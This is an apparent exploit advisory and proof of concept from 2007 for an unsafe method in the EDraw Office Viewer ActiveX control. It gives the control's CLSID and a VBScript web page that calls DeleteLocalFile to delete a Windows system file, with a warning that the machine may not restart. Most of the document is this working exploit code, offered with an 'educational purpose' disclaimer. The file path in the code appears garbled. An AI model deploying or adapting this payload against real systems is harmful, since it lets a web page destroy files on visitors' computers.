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edraw-unsafe.txt

Posted on 31 May 2007

<pre>
<span style="font: 14pt Courier New;"><p align="center"><b>2007/05/28</b></p></span>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">-----------------------------------------------------------------------------------------------
<b>EDraw Office Viewer Component (edrawofficeviewer.ocx v. 4.0.5.20) Unsafe Method Vulnerability</b>
url: http://www.ocxt.com/officeviewer.php

author: shinnai
mail: shinnai[at]autistici[dot]org
site: http://shinnai.altervista.org

This was written for educational purpose. Use it at your own risk.
Author will be not be responsible for any damage.

<b><font color="#FF0000">THE EXPLOIT WILL DELETE THE system.ini FILE SO BE SURE TO MAKE A COPY OF
IT BEFORE RUN THIS EXPLOIT OR YOUR PC WILL NOT RESTART!</font></b>

Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
all software that use this ocx are vulnerable to this exploits.

This ActiveX is marked as:
RegKey Safe for Script: True
RegKey Safe for Init: True
KillBitSet: False
-----------------------------------------------------------------------------------------------

<object classid='clsid:053AFEBA-D968-435F-B557-19FF76372B1B' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
Sub tryMe
On Error Resume Next
Dim MyMsg
If(MsgBox("This was written for educational purpose. Use it at your own risk." & vbCrLf & _
"Author will be not be responsible for any damage." & vbCrLf & vbCrLf & _
"THIS EXPLOIT WILL DELETE THE system.ini FILE SO BE SURE TO MAKE A COPY" & _
" OF IT BEFORE RUN THIS EXPLOIT OR YOUR PC WILL NOT RESTART!" & VBcRlF & "ARE YOU" & _
" SURE YOU REALLY WANT TO RUN THIS EXPLOIT?",4)=vbYes) Then
test.DeleteLocalFile "c:windowssystem_.ini"
MyMsg = MsgBox ("Check now the file system.ini" & vbCrLf & "It's deleted.", 64,"2007/05/21 - EDraw Office Viewer Component")
Else
MyMsg = MsgBox ("Nice, be safe!", 64, "2007/05/28 - EDraw Office Viewer Component")
End If
End Sub
</script>
</span></span>
</code></pre>

 

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